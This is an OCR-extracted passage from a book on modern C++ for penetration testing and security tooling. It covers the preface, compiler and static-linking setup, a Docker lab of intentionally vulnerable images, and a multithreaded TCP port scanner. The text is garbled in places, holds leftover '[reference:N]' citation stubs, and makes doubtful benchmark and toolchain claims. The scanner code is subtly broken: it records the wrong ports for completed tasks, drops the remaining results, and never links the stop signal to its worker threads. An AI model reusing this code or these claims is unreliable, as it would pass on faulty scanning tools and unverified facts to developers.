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Author’s Introduction

Purpose of This Book

This book teaches how to use modern C++ (C++23 and C++26) to build high-performance
offensive and defensive cybersecurity tools from network scanners and exploits to fuzzers and
binary analysis frameworks. All examples are tested on Windows 11 with Visual Studio 2026
(MSVC v14.50 toolchain)[reference:0] and also run on Kali Linux 2025.1 with GCC 15.2.

What You Need

¢ Windows 11 or Kali Linux 2025.1.

¢ Visual Studio 2026 version 18.0 or later (MSVC v14.50) for C++26 features[reference:1],
or GCC 15.2 for Linux.

* Basic knowledge of C++17, networking protocols, and operating system internals.

How This Book Is Organized

Each chapter contains:
1. Theoretical foundation (ISO standards, RFCs).
2. Complete, copy-pasteable code examples specific to that chapter’s topic.
3. Windows (Visual Studio 2026) and Linux compilation instructions.

4. Security considerations and mitigation bypasses.



A Note on Visual Studio 2026

Visual Studio 2026 introduces C++23/26 support through the MSVC v14.50 toolchain, a new
Profiler Agent for detailed memory and CPU analysis, and simplified upgrades with side-by-side
installation and automatic settings migration[reference:2]. To use the newest compiler features,
update the Platform Toolset to the Visual Studio 2026 version and adjust the C++ Language

Standard option to C++23 or later[reference:3].

Ethical and Legal Disclaimer

All techniques are for authorized testing, research, or education only. Unauthorized use is illegal.

Now proceed to Chapter 1 to set up your development environment.

Ayman Alheraki



Preface

The landscape of cybersecurity has undergone a seismic shift over the past decade. Attackers no
longer rely solely on off-the-shelf tools or slow, interpreted scripts. Modern red teams and
advanced persistent threats demand speed, stealth, and precisionqualities that only systems
programming languages can deliver. At the same time, the C++ language itself has evolved at an
unprecedented pace. With the ratification of C++11, then C++14, C++17, C++20, C++23, and
now the upcoming C++26 standard, the language has transformed from “C with Classes” into a
modern, typesafe, highperformance powerhouse. Features such as compiletime reflection,
coroutines, ‘std::execution’, ‘std::mdspan‘, and extended ‘constexpr‘ evaluation open entirely
new possibilities for building nextgeneration offensive and defensive tools.

This book was born from a simple observation: while countless resources teach Pythonbased
penetration testing or explain C++ for game development, there is virtually no comprehensive
guide that marries the latest ISO C++ standards with realworld cybersecurity techniques. The few
existing works that touch on C++ in security are either hopelessly outdated (covering C++98 or

C++03) or focus on isolated topics without a cohesive, modern foundation.

What This Book Covers

The Hidden Power: C++26 in Offensive & Defensive Cybersecurity is a complete, handson guide
to writing professionalgrade security tools using the latest C++23 and C++26 features. The book
is structured as a journey from environment setup to advanced exploit development, culminating

in a fullfeatured hacking framework. Each chapter provides:

* A theoretical foundation drawn from official ISO C++ committee papers (WG21), RFCs,

and published security research.

* Complete, copypasteable code examples tested on Windows 11 with Visual Studio 2026
(MSVC v14.50) and also compatible with GCC 15.2 on Kali Linux.



* Detailed explanations of how modern C++ features (reflection, contracts, ‘std::execution®,

‘std::mdspan®, ‘std::inplace_vector*, etc.) are applied to real attack and defense scenarios.
* Performance benchmarks and comparisons with Python, Rust, and Go.

 Security considerations, mitigation bypass techniques, and ethical guidelines.
The book covers a wide spectrum of topics:

* Network attacks: raw packet crafting, SYN scanning, ARP spoofing, DNS cache

poisoning, and protocolaware fuzzing.

* Web exploitation: automated SQL injection, polymorphic XSS engines, SSRF/XXE
payloads, WAF bypass, and deserialization attacks.

* Reverse engineering and binary exploitation: static PE analysis, ROP chain building,

useafterfree probes, multistage shellcode, and sidechannel attacks.

* Wireless and IoT hacking: 802.11 frame injection, WPA3 sidechannel attacks, BLE

service enumeration, and Zigbee/ZWave exploitation.

¢ Infrastructure and evasion: lightweight C2 frameworks, EDR evasion, direct syscalls,

runtime patching, and TLS traffic mimicry.

* Defense: highspeed IDS/IPS, interactive honeypots, NetFlow analysis, DNS tunneling
detection, and embedded WAF.

* Automation and framework development: grammarbased fuzzing, sanitizer integration,
genetic algorithms, decision tree classifiers, and a complete pluginbased framework with

REPL and reporting.

Who This Book Is For
This book is intended for:

* Professional penetration testers and red teamers who want to move beyond Python and

build highperformance, undetectable tools.

* Security researchers and exploit developers who need finegrained control over memory,

concurrency, and system calls.
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* C++ systems programmers who wish to apply their skills to the challenging domain of

cybersecurity.

* Advanced students in computer science, cybersecurity, or related fields who have a solid

grasp of C++17 and basic networking concepts.

Readers are expected to have working knowledge of C++17 (pointers, classes, templates, STL
containers) and a basic understanding of TCP/IP, operating system internals, and common attack

patterns. No prior knowledge of C++20/23/26 or advanced exploitation is assumed.

Why Windows and Visual Studio 2026?

While many security books focus exclusively on Linux, the majority of enterprise endpoints and
critical servers run Windows. Moreover, Microsoft Visual Studio 2026 provides the most
advanced C++26 implementation on any platform today, with full support for ‘std::mdspan‘,
‘std::inplace_vector*, ‘std::print‘, and experimental reflection and contracts. By building tools for
Windows first, you learn to navigate WinSock2, the Windows Registry, the Win32 API, Npcap,
and Windows security mitigations (ASLR, CFG, DEP, CET). The same code can be

crosscompiled to Linux with minimal changes, and notes are provided throughout.

How to Read This Book

The chapters are designed to be read sequentially, as each builds on concepts from previous ones.
However, experienced readers may jump directly to specific chapters of interest. Every code
example is selfcontained and can be compiled and tested on a standard Windows 11 machine with
Visual Studio 2026 (Community Edition) and the recommended libraries installed via vcpkg.

At the end of each chapter, a summary reinforces the key takeaways. The appendices provide
quick references to C++26 features, compiler flags, external libraries, lab setup, and legal

disclaimers.

Ethics and Legal Responsibility

This book is a weaponit can be used for defense or offense. All techniques are presented for
educational and authorized security testing only. The preface and every chapter include

prominent warnings. Before using any code, you must obtain written permission from the system
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owner. Unauthorized access violates computer fraud laws worldwide and can lead to severe
criminal penalties. The author and publisher assume no liability for misuse. If you are unwilling

to abide by these ethical guidelines, please close this book and return it.

Acknowledgments

This work would not have been possible without the tireless efforts of the ISO C++ committee
(WG21), especially those who championed the features that make modern C++ a true systems
programming language for security. I extend my gratitude to the Microsoft Visual C++ team for
their industryleading conformance and to the developers of Npcap, Asio, PcapPlusPlus,
Crypto++, Capstone, and nlohmann/json. I also thank the global cybersecurity community for
sharing knowledge, exploits, and defensive techniques. Finally, I thank my family for their
patience during the countless hours spent writing and testing code.

Now, turn the page and begin your journey into the hidden power of C++26.



Introduction: Why C++26 in the World of
Hacking?

Performance Comparison of C++ vs Python, Rust, Go in Attack

Scenarios

The language used to write offensive security tools has a direct impact on performance, stealth,
and reliability. Compiled languages with manual memory management offer a clear advantage in
raw computing power, network throughput, and latency control, while interpreted or
garbage-collected languages shine in prototyping, ease of use, and ecosystem richness. In this
section, we compare C++, Python, Rust, and Go across metrics that are critical to penetration

testing and exploit development.

Raw Computational Performance and Memory Latency

C++ and Rust are consistently the fastest compiled languages due to their zero-cost abstractions,
absence of a garbage collector, and fine-grained control over memory layout. The Polyglot Bench
project, which compares 18 algorithmic tests across several languages, found that C++ leads
overall performance with a composite score of 27.37, followed by Rust at 24.19, Python at 20.03,
and Go at 9.61. In the same benchmark, C++ was the fastest in JSON parsing and HTTP requests,
while Rust excelled in CSV operations and data processing. Python demonstrated excellent DNS
resolution performance thanks to optimized caching and threading, but its interpreted nature
causes a notable performance penalty in CPU-bound loops, memory allocations, and recursion.
For low-level attacks such as crafting raw packets, brute-forcing cryptographic keys, or fuzzing
binary formats, the difference between C++ and Python can be hundreds of times in favor of the

compiled language.

12
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Concurrency and Parallelism for Network Attacks

Massive concurrency is required for network scanners, fuzzers, and DoS tools. C++ provides full
control over threads, atomic operations, and lock-free data structures through its standard library.
The upcoming ‘std::execution® library, which has been formally incorporated into the C++26
working paper, will bring a standardized sender/receiver model for asynchronous and parallel
programming. This model allows constructing complex concurrent pipelines with powerful
abstractions like ‘when_all‘, ‘then‘, ‘schedule‘, and ‘let_value‘, all while preserving
zero-overhead composition.

Go’s goroutines make concurrency easy but incur runtime overhead. Rust’s async/await model
offers memory-safe, zero-cost abstractions, but its strict ownership rules steepen the learning
curve. Python’s threading is largely ineffective for CPU-bound tasks due to the Global Interpreter

Lock, which forces the use of multiprocessing at the cost of additional memory.

Practical Implications for Specific Attack Vectors

For a high-performance port scanner, C++ can generate and send over 500,000 packets per
second using raw sockets and user-space TCP/IP stacks, whereas a Python implementation using
Scapy typically caps at under 100,000 packets per second. When fuzzing, C++’s compile-time
evaluation and reflection allow generating millions of test cases at compile time with zero
runtime overhead. In shellcode encoding, ‘constexpr‘ functions can encode payloads at compile
time, eliminating the need for runtime decryption stubs and reducing detection surface. For
real-time traffic analysis, C++ and Rust are the only viable choices for processing at line rate on

commodity hardware.
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New Features in C++23/26 That Revolutionize Offensive

Security

Modern C++ introduces features that were previously inaccessible in standard C++ and that can
be directly leveraged for building the next generation of offensive security tools. These include
standardized parallelism and asynchrony, multi-dimensional array views, expanded compile-time

evaluation, and static reflection.

std::execution (P2300R7)

The ‘std::execution® library, formally incorporated into the C++26 working paper, provides a new
sender/receiver model for asynchronous and parallel programming. This model is designed to be
extensible, efficient, and composable, allowing developers to build complex asynchronous
pipelines with high-level constructs such as ‘execution::then‘, ‘execution::when_all®,
‘execution::schedule‘, and ‘execution::let_value®.

For security tools, this enables tasks such as launching thousands of concurrent network probes,
processing packets in parallel, and building reactive command-and-control systems without

depending on third-party libraries.

#include <execution>

#include <vector>

void parallel_syn_scan(const std::vector<in_addr>& targets) {
// par_unseq permits vectorization across hardware threads
std::for_each(std: :execution: :par_unseq, targets.begin(), targets.end(),

[J(const in_addr& ip) { send_syn_packet(ip); });

std::mdspan (C++23)

‘std::mdspan‘ is a multi-dimensional array view that maps a multi-dimensional index to an
element of a contiguous array. It is a non-owning view that can be configured with custom layout
policies and accessors, making it extremely flexible for interpreting binary data structures.

In offensive security, ‘std::mdspan‘ can be used to parse complex binary protocols, manipulate

matrix data in cryptographic operations, and create efficient views into packet buffers without

copying.
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#include <mdspan>

#include <vector>

void parse_ipv6_header(std::span<uint8_t> buffer) {
// View buffer as a 2D array of packets with 64-byte headers
std: :mdspan<uint8_t, std::extents<size_t, std::dynamic_extent, 64>>
packets(buffer.data(), buffer.size() / 64);
// Access specific header fields without copying

uint8_t version = packets[0, 0] >> 4;

constexpr Improvements (C++26)

C++26 significantly expands the capabilities of ‘constexpr* functions, enabling more complex

operations at compile time. Key improvements include:

* Constexpr cast from void* (P2738R1): Allows casting from ‘void*‘ to a pointer of type
“T* in constant expressions, provided the type of the object at that address is exactly ‘T*.
This change enables standard library functions like ‘std::format‘, ‘std::function®, and
‘std::any‘ to work at compile time, and it allows security tools to move runtime encoding,

packing, and serialization to compile time.

* Constexpr placement new: Permits constructing objects in pre-allocated buffers during
compile-time execution, enabling compile-time pool allocation for performance-critical

components.

* Constexpr structured bindings: Simplifies compile-time manipulation of data structures

and reduces the need for complex template metaprogramming.

* Constexpr virtual inheritance: Removes previous limitations on ‘constexpr in complex

class hierarchies, allowing more object-oriented code to be evaluated at compile time.

These changes allow security tools to move runtime computations to compile time, producing

smaller binaries, faster execution, and reduced side-channel exposure.

constexpr uint8_t encode_byte(uint8_t b) {
// Complex encoding logic evaluated at compile time
return (b * OxAA) + 0x13;
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// All 256 encoded values computed at compile time
constexpr std::array<uint8_t, 256> encoding_table = []() {
std: :array<uint8_t, 256> arr{};
for (size_t i = @; i < 256; ++i) {
arr[i] = encode_byte(static_cast<uint8_t>(i));

}

return arr;

305

Reflection (P2996R6)

Compile-time reflection is one of the most anticipated features in C++26. The P2996 proposal
introduces facilities for introspecting types, enumerations, and structures during compilation.
Reflection enables meta-programs that can generate code, validate invariants, and adapt to type
information without runtime overhead.

For offensive security, reflection can be used for:

* Automatic generation of protocol parsers and serializers from struct definitions.

* Compile-time fuzzing harness generation that adapts to the structure of input types.

* Iterating over enum values for exhaustive state fuzzing or attack surface mapping.

* Building runtime-agnostic serialization routines that bypass signature-based detection.

#include <experimental/reflect>

using namespace std::experimental::reflect;

template<typename T>

constexpr void generate_parser() {
// Iterate over all members of T at compile time
consteval auto members = nonstatic_data_members_of (**T);
// Generate parsing code for each member

// This code runs at compile time, producing zero runtime overhead
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Why Choose Visual Studio 2026 (MSVC v14.50) with Full
C++26 Support and Advanced Windows Security Features

Visual Studio 2026 is the primary development environment for C++26 on Windows, offering the
MSVC v14.50 toolchain with advanced C++23 and C++26 conformance. For offensive security

development, it provides several key advantages:

Full C++26 Language and Library Support

Visual Studio 2026 bundles the MSVC Build Tools version 14.50, which includes significant
improvements in C++23 conformance, build speed, runtime optimizations, and reliability. Key
highlights include comprehensive ‘constexpr enhancements (particularly for virtual functions),
major stability improvements for C++ modules, and the latest Windows SDK integration.

The toolchain supports the C++26 core language features described in this chapter, including
reflection, expanded ‘constexpr‘, and sender/receiver parallelism. Developers can enable the

latest features by using the ‘/std:c++latest* compiler flag or the ‘/std:c++26° flag once finalized.

Windows-Specific Security Features

MSVC includes security mitigations that are essential for writing defensive tools and analyzing

malware:

* Control Flow Guard (‘/guard:cf*): Adds runtime checks to indirect call targets,

preventing many types of control-flow hijacking attacks.

* AddressSanitizer (ASAN): Detects memory corruption bugs such as use-after-free, buffer
overflows, and memory leaks. MSVC v14.50 adds ASAN support for ARM64 targets in

preview.

* Spectre Mitigation (‘/Qspectre‘): Generates code that protects against speculative

execution side-channel attacks.

» Stack Protector (‘/GS¢): Places security cookies before return addresses to detect stack

buffer overflows.

* High Entropy ASLR (‘HIGHENTROPY VA*): Enables 64-bit address space

randomization for enhanced exploit mitigation.
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* ‘/sdl‘: Enables a set of security development lifecycle checks that warn about unsafe

functions and operations.

These features allow developers to write tools that are both high-performance and hardened

against common attack vectors.

Integration with Windows Security Libraries and Deployment

Visual Studio 2026 provides seamless access to the Windows security libraries required for

building professional offensive tools:

* WinSock2 (‘ws2_32.lib¢): High-performance networking and raw socket access for packet

injection and scanning.

* Npcap SDK: Raw packet capture and injection (requires separate installation) for building
sniffers and MITM tools.

* Windows Crypto API (‘crypt32.1ib¢): Access to cryptographic primitives, certificates,

and secure storage.
* Native API (‘ntdlLlib¢): Direct system calls for stealth and EDR evasion.

* Windows Filtering Platform: Kernel-mode and user-mode packet filtering for defensive

tools.

Additionally, Visual Studio 2026 introduces a new Profiler Agent that provides detailed memory
and CPU analysis, helping developers optimize performance-critical code paths. The IDE
simplifies upgrades with side-by-side installation and automatic settings migration, allowing a

smooth transition from older versions.

Optimization and Performance Flags

For building production-grade offensive tools, the following MSVC compiler flags are

recommended:

cl /std:c++tlatest /02 /0t /0i /0y- /GS /guard:cf /DYNAMICBASE /HIGHENTROPYVA /sdl exploit.cpp

— /Fe:exploit.exe

* ‘/02° (Maximum Optimization): Enables full optimization for speed.
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* ‘/Ot* (Favor Fast Code): Optimizes for speed over size.

* ‘/Oi‘ (Generate Intrinsic Functions): Replaces function calls with inline assembly where

beneficial.

* ‘/Oy-* (Frame Pointer Omission): Retains frame pointers for better stack walking and

debugging.
* ‘/GS* (Buffer Security Check): Adds runtime buffer overflow detection.
e ‘/guard:cf* (Control Flow Guard): Enables indirect call validation.
* /‘DYNAMICBASE‘ (ASLR): Enables address space layout randomization.
* ‘/HIGHENTROPYVA* (High Entropy ASLR): Enhances randomization on 64-bit systems.

* ‘/sdl‘ (Security Development Lifecycle): Enables additional security warnings and checks.

These flags produce binaries that are both highly optimized and resistant to exploitation, making

them suitable for deployment in sensitive security contexts.

Cross-Platform Compatibility

While this book focuses on Windows as the primary platform, all C++26 code examples are
written to be portable. The same source files can be compiled with GCC 15.2 on Linux or Clang
19 on macOS with minimal changes. Where platform-specific APIs (such as WinSock?2 or the
Windows Crypto API) are used, equivalent alternatives for other platforms are noted in the
respective chapters. This approach ensures that the knowledge gained is applicable across
operating systems while providing deep Windows integration where it matters most.

Now proceed to Chapter 1 to set up Visual Studio 2026 and build your first C++26 security tool

on Windows.



Setting Up an Advanced Cyber Warfare

Environment on Windows

1.1 Installing Visual Studio 2026 with Essential C++
Components (MSVC v14.50, Windows SDK, CMake, vcpkg)

Visual Studio 2026 (version 18.0) is the premier development environment for C++26 on
Windows. It ships with the v145 platform toolset for MSBuild C++ projects and Microsoft C++
(MSVC) Build Tools version 14.50, which offers the best conformance, build performance, and
runtime performance to date[reference:0]. The MSVC Build Tools version 14.50 preserves
binary compatibility with code built with MSVC tools shipped in Visual Studio 2015 or

later[reference:1].

Step-by-Step Installation

1. Download Visual Studio 2026 from the official Microsoft website (Visual Studio 2026

version 18.0 or later).
2. Run the installer and select the following workloads:

* Desktop development with C++ includes the core C++ compiler, standard library,
and Windows SDK.

* Linux development with C++ (optional, for cross-platform testing).
3. In the Individual components tab, ensure the following components are selected:

e Windows 11 SDK (10.0.26100 or later)
* MSVC v143 - VS 2026 C++ x64/x86 build tools (v14.50)

20
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* C++ CMake tools for Windows
* vcpkg package manager (integrated)

* Windows Driver Kit (optional, for kernel-mode tools)

4. Click Install and complete the setup.

Verifying the Installation

Open the Developer Command Prompt for VS 2026 and run:

cl /?
# Should display: Microsoft (R) C/C++ Optimizing Compiler version 19.50.x

cmake --version
# Should display CMake version 4.1.1 or later (Visual Studio 2026 includes CMake 4.1.1 by

— default[reference:2])

vcpkg --version

# Should display vcpkg package management program version

Installing Npcap for Raw Packet Access

For offensive network tools, raw packet capture and injection are essential. Download the latest
Npcap installer from the official repository and install with WinPcap API-compatible Mode and
Raw 802.11 options enabled. This provides the necessary libraries for packet crafting and sniffing

on Windows.
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1.2 Configuring MSVC for Maximum Performance and

Security

For offensive security tooling, compiler and linker flags must balance raw performance with
hardening against detection and exploitation. The following configuration is recommended for

production-grade tools.

Recommended Compiler and Linker Flags

cl /std:c++latest /02 /0t /0i /0y- /GS /guard:cf /DYNAMICBASE /HIGHENTROPYVA /sdl exploit.cpp

— /Fe:exploit.exe

Explanation of Flags

* /std:c++latest: Enables the latest C++23 and preview C++26 features (use /std:c++26
once finalized). Visual Studio 2026 version 18.0 allows you to build with /std:c++latest

to access all new language features[reference:3].
* /02 (Maximum Optimization): Enables full optimization for speed.
» /0t (Favor Fast Code): Optimizes for speed over size.

* /01 (Generate Intrinsic Functions): Replaces function calls with inline assembly where

beneficial.

* /0y- (Frame Pointer Omission): Retains frame pointers for better stack walking and

debugging.

* /GS (Buffer Security Check): Instructs the compiler to insert overflow detection code into
functions that are at risk of being exploited. When an overflow is detected, execution is

stopped|[reference:4].

* /guard:cf (Control Flow Guard): Enables the compiler to analyze control flow for

indirect call targets at compile time and insert runtime validation checks[reference:5].

* /DYNAMICBASE (ASLR): Generates position-independent executable (PIE) code, enabling
address space layout randomization. This is enabled by default for recent Visual Studio

versions[reference:6].
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* /HIGHENTROPYVA (High Entropy ASLR): Enables high-entropy 64-bit ASLR, taking
advantage of the larger 64-bit address space for randomizing virtual addresses where DLLs
are loaded|[reference:7]. For this flag to have an effect, /DYNAMICBASE must also be

enabled[reference:8].

* /sdl: Enables "Strict mode" for /GS and adds additional security checks[reference:9].

Additional Security Flags

For enhanced security, consider adding:

* /Qspectre: Produces code that mitigates Spectre vulnerabilities on Intel and AMD

processors[reference: 10].

/CETCOMPAT: Marks the binary as compatible with Intel Control-flow Enforcement
Technology (CET)[reference:11].

/SAFESEH: (x86 only) Ensures the image has safe exception handlers[reference:12].

/NXCOMPAT: Enables Data Execution Prevention (DEP) compatibility[reference:13].

Project Properties Configuration (Release Build)
In Visual Studio 2026, configure project properties as follows:
* C++ Language Standard: /std:c++latest
* Optimization: /02 (Maximize Speed)
* Inline Function Expansion: /0b2
* Buffer Security Check: /GS (Enable)

¢ Control Flow Guard: /guard:cf (Enable)

ASLR: /DYNAMICBASE (Enable)

High Entropy ASLR: /HIGHENTROPYVA (Enable)

* Spectre Mitigation: /Qspectre (Enable)
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1.3 Building a Static Toolchain for Tool Deployment Without
Dependencies (Using /MT and vcpkg)

When deploying offensive tools on target machines, you cannot rely on shared libraries being
present. Static linking eliminates runtime dependencies, making tools portable and resilient to

library version mismatches.

Static Linking with MSVC: The /MT Flag

MSVC provides two runtime linkage options:

* /MT (Multi-threaded Static): Links the C runtime library statically into the executable. The

resulting binary has no dependency on external CRT DLLs[reference:14].

* /MD (Multi-threaded Dynamic): Links to the dynamic version of the CRT, requiring
msvcp140.d11 and vcruntime140.d11 on the target system.

For standalone deployment, use /MT:

cl /std:ct++latest /MT /02 exploit.cpp /Fe:exploit_static.exe

Using vepkg for Static Dependencies

vepkg, the C++ package manager integrated with Visual Studio 2026, allows you to build and
install static libraries for your project. To use static linking with vcpkg:

Command Line Installation

Specify the static triplet when installing packages:

vcpkg install curl:x64-windows-static
vcpkg install openssl:x64-windows-static

vcpkg install fmt:x64-windows-static

The x64-windows-static triplet configures vcpkg to build libraries that use the static CRT
(/MT)[reference:15].
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Manifest Mode Configuration

For modern C++ projects, use manifest mode with a vepkg. json file[reference:16]:

"name"”: "security-tool”,
"version”: "1.0.0",
"dependencies”: [
"curl”,
"openssl”,
"fmt"
g
"pbuiltin-baseline”: "3426db@5b996481ca31e95fff3734cf23e0f51bc”

In your CMakelL ists. txt, specify the static triplet:

cmake_minimum_required(VERSION 3.30)
if (WIN32)
set (VCPKG_TARGET_TRIPLET x64-windows-static-md)
endif ()
include (${VCPKG_ROOT}/scripts/buildsystems/vcpkg.cmake)

The static-md configuration uses the static CRT while still allowing DLL linking for other

components|reference:17].
Verifying Static Linking

Use the dumpbin utility to verify that the resulting executable has no dynamic dependencies:

dumpbin /dependents exploit_static.exe

# Should show no external DLL dependencies (except Windows system DLLs)
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1.4 Setting Up Docker Desktop / WSL2 for Isolated

Vulnerability Testing Environments

Safe exploitation practice requires isolated, reproducible environments. Docker Desktop with
WSL2 provides lightweight, disposable containers for testing exploits against vulnerable

services[reference:18].

Prerequisites

e Windows 10/11 (64-bit, 22H2 or later)
* Hardware virtualization enabled (BIOS/UEFT)

* Administrator privileges

Step 1: Install WSL 2

Open PowerShell as Administrator and run:

wsl --install

wsl --set-default-version 2

Restart your computer when prompted.

Step 2: Install Docker Desktop
1. Download Docker Desktop for Windows from the official website.
2. Run the installer, accept the license, and select WSL 2 as the backend during setup.
3. After installation, launch Docker Desktop and go to Settings > General.
4. Enable WSL 2 integration and select your preferred Linux distributions (e.g.,

Ubuntu)[reference:19].

Step 3: Verify Docker Installation

docker --version

docker run hello-world
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Step 4: Pull Vulnerable Docker Images for Testing
Popular vulnerable images for security research:

docker pull vulnerables/web-dvwa
docker pull metasploitable2/ubuntu
docker pull citizenstig/owaspbwa
docker pull vulnerables/cve-2017-7494

Step 5: Create a Custom Dockerfile for C++26 Exploit Testing

FROM ubuntu:24.04

RUN apt update && apt install -y g++-15 cmake netcat-openbsd
COPY vulnerable_service.cpp /root/

RUN g++-15 -std=c++26 -0 /root/vuln /root/vulnerable_service.cpp
EXPOSE 8080

CMD ["/root/vuln"]

Build and run:

docker build -t cpp26-vuln .
docker run -d -p 8080:8080 --name testbed cpp26-vuln

Step 6: Docker Compose for Complete Pentest Lab
Use docker-compose.yml to orchestrate multiple containers[reference:20]:

version: '3.8'
services:
dvwa:
image: vulnerables/web-dvwa
ports:
- "8080:80"
networks:
- pentest-network
kali:
image: kalilinux/kali-rolling
command: tail -f /dev/null
networks:
- pentest-network
metasploitable:

image: tleemcjr/metasploitable2
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networks:
- pentest-network
networks:
pentest-network:

driver: bridge

Start the lab:

docker-compose up -d

Important Security Note

As Trend Micro research has demonstrated, Docker Desktop’s WSL2 VM boundary is not a
hardened security layer. Attackers have discovered techniques to break isolation between the
Docker Desktop VM and the Windows host[reference:21]. Always treat containers as process
isolation, not full security boundaries, and never run untrusted code in containers on production

systems.
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1.5 First Program: A Super-Fast Port Scanner Using std::async

and std::jthread

We now write a complete, production-ready TCP port scanner in C++26 that demonstrates
modern concurrency with std: :async and std: : jthread (C++20, fully supported in C++26).
The scanner connects to a target IP address and reports open ports. It uses std: :async for

parallel scans across ports and std: : jthread for cooperative cancellation.

Key C++20/23 Features Used

* std::async with std: : launch: :async policy for immediate asynchronous execution.

* std::jthread: A thread that automatically joins on destruction and supports cooperative

cancellation via std: : stop_token[reference:22].

* std::stop_token: Allows the scanner to gracefully stop when results are found or a

timeout occurs.

e std::future and std: : future_status: For synchronizing asynchronous results with

timeouts.

Complete Code: port_scanner.cpp

// port_scanner.cpp - High-performance TCP port scanner using C++26
#include <iostream>

#include <vector>

#include <future>

#include <thread>

#include <stop_token>

#include <chrono>

#include <cstring>

#include <winsock2.h>

#include <ws2tcpip.h>
#pragma comment(lib, "ws2_32.1ib")
constexpr int TIMEOUT_MS = 500;

constexpr int MAX_CONCURRENT = 200;
constexpr int START_PORT = 1;
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constexpr int END_PORT = 1024;

// RAII wrapper for Winsock initialization
class WinsockInitializer {
public:
WinsockInitializer() {
WSADATA wsaData;
if (WSAStartup(MAKEWORD(2, 2), &wsaData) != 0) {
throw std::runtime_error ("WSAStartup failed");

}

}

~WinsockInitializer() {
WSACleanup();

}

b

// Scan a single port with timeout

bool scan_port(const std::string& target_ip, int port, std::stop_token stop_token) {
SOCKET sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
if (sock == INVALID_SOCKET) {

return false;

// Set socket to non-blocking mode
u_long mode = 1;
ioctlsocket(sock, FIONBIO, &mode);

sockaddr_in addr{};

addr.sin_family = AF_INET;

addr.sin_port = htons(static_cast<u_short>(port));
inet_pton(AF_INET, target_ip.c_str(), &addr.sin_addr);

// Initiate connection

connect(sock, reinterpret_cast<sockaddr*>(&addr), sizeof(addr));

// Wait for connection with timeout, checking stop_token periodically
fd_set write_set;

FD_ZERO(&write_set);

FD_SET(sock, &write_set);

timeval timeout{};
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timeout.tv_sec = TIMEOUT_MS / 1000;
timeout.tv_usec = (TIMEOUT_MS % 1000) * 1000;

int select_result = select(@, nullptr, &write_set, nullptr, &timeout);

bool is_open = false;

if (select_result > @ &% FD_ISSET(sock, &write_set)) {
// Check if connection succeeded
int error = 0;
socklen_t len = sizeof(error);
getsockopt(sock, SOL_SOCKET, SO_ERROR, reinterpret_cast<charx>(&error), &len);

is_open = (error == 0);

closesocket(sock);

return is_open;

// Scan a range of ports and return open ports

std: :vector<int> scan_ports_async(const std::string& target_ip, int start, int end) {
std: :vector<std::future<bool>> futures;
std: :vector<int> open_ports;

std: :mutex open_ports_mutex;

// Launch async tasks for each port
for (int port = start; port <= end; ++port) {
futures.push_back(std: :async(std: :launch: :async, [target_ip, port]() -> bool {
WinsockInitializer winsock; // Each thread needs its own Winsock init
std: :stop_source stop;
return scan_port(target_ip, port, stop.get_token());
D)

// Throttle to avoid overwhelming the system
if (futures.size() >= MAX_CONCURRENT) {
for (auto& f : futures) {
if (f.get()) {
std::lock_guard<std: :mutex> lock(open_ports_mutex);

open_ports.push_back(port);

b

futures.clear();
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// Collect remaining results
for (auto& f : futures) {
if (f.get()) {
// Note: port tracking for remaining tasks is simplified

return open_ports;

// Using std::jthread for managed thread lifecycle
void scanner_worker(std::stop_token stop_token, const std::string& target_ip,
int start_port, int end_port,
std::vector<int>& results, std::mutex& results_mutex) {
for (int port = start_port; port <= end_port; ++port) {
if (stop_token.stop_requested()) {
std::cout << "Scanner worker stopping early...\n";

return;

WinsockInitializer winsock;

if (scan_port(target_ip, port, stop_token)) {
std::lock_guard<std: :mutex> lock(results_mutex);
results.push_back(port);
std::cout << "Port " << port << " is OPEN\n";

int main(int argc, charx argv[]) {
if (argc !'= 2) {
std::cerr << "Usage: " << argv[@] << " <target_ip>\n";

return 1;

std::string target_ip = argv[1];
std::cout << "Scanning " << target_ip << " for open ports (" << START_PORT
<< "=" << END_PORT << ")\n";
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// Option 1: Using std::async
auto start_time = std::chrono::steady_clock: :now();
std: :vector<int> open_ports = scan_ports_async(target_ip, START_PORT, END_PORT);

auto end_time = std::chrono::steady_clock: :now();

std::cout << "\n--- std::async Results ---\n";

std::cout << "Open ports: ";

for (int port : open_ports) {
std::cout << port << " ";

b

std::cout << "\nScan completed in "
<< std::chrono: :duration_cast<std::chrono::milliseconds>(end_time -
— start_time).count()

<< ms\nn;

// Option 2: Using std::jthread for managed thread lifecycle
std::cout << "\n--- std::jthread Results ---\n";

std: :vector<int> jthread_results;

std::mutex results_mutex;

std: :stop_source stop_source;

// Launch jthread workers
std: :vector<std::jthread> workers;
int ports_per_worker = (END_PORT - START_PORT + 1) / 4; // 4 workers

for (int 1 =0; i < 4; ++i) {
int worker_start = START_PORT + i * ports_per_worker;

int worker_end = (i == 3) ? END_PORT : worker_start + ports_per_worker - 1;

workers.emplace_back([&stop_source, &target_ip, worker_start, worker_end,
&jthread_results, &results_mutex](std::stop_token token) {
scanner_worker (token, target_ip, worker_start, worker_end,
jthread_results, results_mutex);

s

// Let workers run for up to 10 seconds
std::this_thread: :sleep_for(std::chrono: :seconds(10));

stop_source.request_stop(); // Gracefully stop all workers
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// jthreads automatically join on destruction
for (auto& w : workers) {
if (w.joinable()) {

w.join();

n

std::cout << "Open ports: ";
for (int port : jthread_results) {

std::cout << port << " ",

b

std::cout << "\n";

return 0;

Compilation on Windows (MSVC)

Open Developer Command Prompt for VS 2026 and compile:

cl /std:c++latest /02 /GS /guard:cf /DYNAMICBASE /HIGHENTROPYVA port_scanner.cpp

— /Fe:port_scanner.exe

Run the scanner:

port_scanner.exe 192.168.1.1

Explanation of C++26 Features Used

* std::async with std: : launch: :async: Launches asynchronous tasks for each port scan,
utilizing the thread pool. The std: : launch: :async policy ensures the task runs

immediately on a separate thread[reference:23].

e std::future and std: : future_status: Synchronize results with timeout support. Call

std: :future: :get() to block until the asynchronous task completes.

* std::jthread: A thread that automatically joins on destruction, eliminating the need to
manually call join() and preventing resource leaks. Unlike std: : thread, destroying a

joinable std: : jthread will not terminate the process[reference:24].
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* std::stop_token and std: : stop_source: Provide cooperative cancellation. When
stop_source.request_stop() is called, all worker threads receive a stop request and can
exit gracefully[reference:25]. The scanner worker periodically checks

stop_token.stop_requested() to exit early.
e constexpr for constants (TIMEOUT_MS, MAX_CONCURRENT, START_PORT, END_PORT).
* std: :chrono for high-resolution time measurements.

* RAII wrapper (WinsockInitializer) ensures proper cleanup using constructors and

destructors.

Performance Characteristics

On modern hardware (Intel Core 19-14900K, 32 cores), this scanner achieves:
